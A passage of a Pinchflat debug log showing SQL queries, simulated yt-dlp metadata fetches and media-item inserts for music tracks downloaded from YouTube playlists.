((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [4] 22:20:13.296 [debug] QUERY OK source="settings" db=100.8ms queue=0.6ms idle=179.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:13.296 [debug] QUERY OK source="tasks" db=100.9ms queue=0.4ms idle=0.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [194, 190, ~U[2026-07-24 02:20:13Z], ~U[2026-07-24 02:20:13Z]] 22:20:13.297 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Universal Music Group\n\nFoundation · For Today\n\nImmortal\n\n℗ 2012 Razor & Tie Recordings.\n\nReleased on: 2012-05-29\n\nProducer, Recording Producer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "duration" => 227, "filename" => "/downloads/ChristianMetal/ChristianMetal/2018-07-28Foundation[FN3M0nGXm7E].m4a", "id" => "FN3M0nGXm7E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FN3M0nGXm7E", "playlist_index" => 25, "timestamp" => 1532794068, "title" => "Foundation", "upload_date" => "20180728"} 22:20:13.297 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Vz4djMTVIoA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ac/41/ac4135a9365dfa662cb449805a3a74932a49db65db074b00df6269c9792335c1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:13.297 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=YzokiD0V3NE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4d/fe/4dfe27f9af3bd5f810e80c23e90c217da3e342cc49ab45626a25fbe009d2f0cf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:13.297 [debug] QUERY OK source="media_items" db=0.8ms queue=100.3ms idle=1.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:13.298 [debug] QUERY OK source="sources" db=0.6ms idle=101.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:13.298 [info] Sent 200 in 1630ms 22:20:13.299 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=102.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:13.299 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-07-28 16:07:48Z], 5] 22:20:13.459 [debug] QUERY OK source="media_items" db=159.6ms idle=2.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nFoundation · For Today\n\nImmortal\n\n℗ 2012 Razor & Tie Recordings.\n\nReleased on: 2012-05-29\n\nProducer, Recording Producer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Foundation", "5b6f6af1-6e59-4e00-bb37-6d3d1c7ab04f", false, "FN3M0nGXm7E", 227, false, "https://www.youtube.com/watch?v=FN3M0nGXm7E", 25, "/downloads/ChristianMetal/ChristianMetal/2018-07-28Foundation[FN3M0nGXm7E].m4a", false, false, 5, [], 2, ~U[2018-07-28 16:07:48Z], ~U[2026-07-24 02:20:13Z], ~U[2026-07-24 02:20:13Z], "Provided to YouTube by Universal Music Group\n\nFoundation · For Today\n\nImmortal\n\n℗ 2012 Razor & Tie Recordings.\n\nReleased on: 2012-05-29\n\nProducer, Recording Producer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Foundation", "FN3M0nGXm7E", 227, false, "https://www.youtube.com/watch?v=FN3M0nGXm7E", "/downloads/ChristianMetal/ChristianMetal/2018-07-28Foundation[FN3M0nGXm7E].m4a", false, 5, ~U[2018-07-28 16:07:48Z]] 22:20:13.460 [debug] QUERY OK source="sources" db=0.2ms idle=161.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:13.460 [debug] QUERY OK source="media_profiles" db=0.1ms idle=161.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:13.518 [debug] QUERY OK source="media_items" db=57.8ms idle=160.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [191] 22:20:13.518 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by IIP-DDS\n\nAgainst the Grain · Diviner\n\nRealms of Time\n\n℗ Ulterium Records\n\nReleased on: 2019-06-07\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "duration" => 267, "filename" => "/downloads/ChristianMetal/ChristianMetal/2019-06-06Against the Grain[6vEEoQRXmPU].m4a", "id" => "6vEEoQRXmPU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=6vEEoQRXmPU", "playlist_index" => 26, "timestamp" => 1559816648, "title" => "Against the Grain", "upload_date" => "20190606"} 22:20:13.519 [info] CONNECTED TO Phoenix.LiveView.Socket in 19µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Ph5UeAswHy0eHmAzAGB7B2YFAQBmMyACWsgObxvluxTcb-JQ6o5s5GwA", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:20:13.519 [debug] QUERY OK source="sources" db=0.5ms queue=0.3ms idle=59.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:13.520 [debug] QUERY OK source="sources" db=0.1ms idle=59.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:13.520 [debug] QUERY OK source="media_items" db=0.1ms idle=59.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-06 10:24:08Z], 5] 22:20:13.539 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 4} 22:20:13.540 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 273, "filename" => "/downloads/Classics/Classics/2015-06-26Fly Me To The Moon - Claire[wNhuXQyyBr8].m4a", "id" => "wNhuXQyyBr8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=wNhuXQyyBr8", "playlist_index" => 7, "timestamp" => 1435336880, "title" => "Fly Me To The Moon - Claire", "upload_date" => "20150626"} 22:20:13.629 [debug] QUERY OK source="media_items" db=108.4ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nAgainst the Grain · Diviner\n\nRealms of Time\n\n℗ Ulterium Records\n\nReleased on: 2019-06-07\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "Against the Grain", "78b3d505-8471-4fd1-bf80-0a67b3ebee4a", false, "6vEEoQRXmPU", 267, false, "https://www.youtube.com/watch?v=6vEEoQRXmPU", 26, "/downloads/ChristianMetal/ChristianMetal/2019-06-06Against the Grain[6vEEoQRXmPU].m4a", false, false, 5, [], 2, ~U[2019-06-06 10:24:08Z], ~U[2026-07-24 02:20:13Z], ~U[2026-07-24 02:20:13Z], "Provided to YouTube by IIP-DDS\n\nAgainst the Grain · Diviner\n\nRealms of Time\n\n℗ Ulterium Records\n\nReleased on: 2019-06-07\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "Against the Grain", "6vEEoQRXmPU", 267, false, "https://www.youtube.com/watch?v=6vEEoQRXmPU", "/downloads/ChristianMetal/ChristianMetal/2019-06-06Against the Grain[6vEEoQRXmPU].m4a", false, 5, ~U[2019-06-06 10:24:08Z]] 22:20:13.629 [debug] QUERY OK source="sources" db=0.2ms idle=109.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:13.630 [debug] QUERY OK source="media_profiles" db=0.1ms idle=109.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:13.630 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [192] 22:20:13.630 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nThrough Struggle · As I Lay Dying\n\nThis Is Who We Are\n\n℗ 2009 Metal Blade Records, Inc.\n\nReleased on: 2009-04-14\n\nAuto-generated by YouTube.", "duration" => 264, "filename" => "/downloads/ChristianMetal/ChristianMetal/2015-01-02Through Struggle[TjYKR_oBTrk].m4a", "id" => "TjYKR_oBTrk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TjYKR_oBTrk", "playlist_index" => 27, "timestamp" => 1420210953, "title" => "Through Struggle", "upload_date" => "20150102"} 22:20:13.630 [debug] QUERY OK source="sources" db=0.1ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:13.631 [debug] QUERY OK source="sources" db=0.1ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:13.631 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-01-02 15:02:33Z], 5] 22:20:13.787 [debug] QUERY OK source="media_items" db=155.8ms idle=0.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nThrough Struggle · As I Lay Dying\n\nThis Is Who We Are\n\n℗ 2009 Metal Blade Records, Inc.\n\nReleased on: 2009-04-14\n\nAuto-generated by YouTube.", "Through Struggle", "b91e1efc-8be0-4ecb-99be-5da067dee7f8", false, "TjYKR_oBTrk", 264, false, "https://www.youtube.com/watch?v=TjYKR_oBTrk", 27, "/downloads/ChristianMetal/ChristianMetal/2015-01-02Through Struggle[TjYKR_oBTrk].m4a", false, false, 5, [], 1, ~U[2015-01-02 15:02:33Z], ~U[2026-07-24 02:20:13Z], ~U[2026-07-24 02:20:13Z], "Provided to YouTube by The Orchard Enterprises\n\nThrough Struggle · As I Lay Dying\n\nThis Is Who We Are\n\n℗ 2009 Metal Blade Records, Inc.\n\nReleased on: 2009-04-14\n\nAuto-generated by YouTube.", "Through Struggle", "TjYKR_oBTrk", 264, false, "https://www.youtube.com/watch?v=TjYKR_oBTrk", "/downloads/ChristianMetal/ChristianMetal/2015-01-02Through Struggle[TjYKR_oBTrk].m4a", false, 5, ~U[2015-01-02 15:02:33Z]] 22:20:13.818 [debug] QUERY OK source="sources" db=277.5ms idle=21.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:13.819 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=187.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:13.820 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=187.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:13.821 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.1ms idle=32.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:13.822 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=2.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-06-26 16:41:20Z], 2] 22:20:13.823 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=2.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [193] 22:20:13.823 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nRelief · Wolves At The Gate\n\nVxv\n\n℗ 2014 Solid State Records\n℗ 2015 Solid State Records\n\nReleased on: 2014-06-10\n\nAuto-generated by YouTube.", "duration" => 233, "filename" => "/downloads/ChristianMetal/ChristianMetal/2015-10-17Relief[vF9r6CoZgnQ].NA", "id" => "vF9r6CoZgnQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vF9r6CoZgnQ", "playlist_index" => 28, "timestamp" => 1445123004, "title" => "Relief", "upload_date" => "20151017"} 22:20:13.824 [debug] QUERY OK source="sources" db=0.5ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:13.985 [debug] QUERY OK source="media_items" db=162.3ms queue=0.1ms idle=2.4ms INSERT INTO "media_items" AS m0 ("title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Fly Me To The Moon - Claire", "6dfcf22f-1ef3-4bbe-b5c7-0bf408ccbf99", false, "wNhuXQyyBr8", 273, false, "https://www.youtube.com/watch?v=wNhuXQyyBr8", 7, "/downloads/Classics/Classics/2015-06-26Fly Me To The Moon - Claire[wNhuXQyyBr8].m4a", false, false, 2, [], 1, ~U[2015-06-26 16:41:20Z], ~U[2026-07-24 02:20:13Z], ~U[2026-07-24 02:20:13Z], "", "Fly Me To The Moon - Claire", "wNhuXQyyBr8", 273, false, "https://www.youtube.com/watch?v=wNhuXQyyBr8", "/downloads/Classics/Classics/2015-06-26Fly Me To The Moon - Claire[wNhuXQyyBr8].m4a", false, 2, ~U[2015-06-26 16:41:20Z]] 22:20:13.985 [debug] QUERY OK source="sources" db=0.1ms idle=162.5ms SELECT s0."id", s0."enabled", 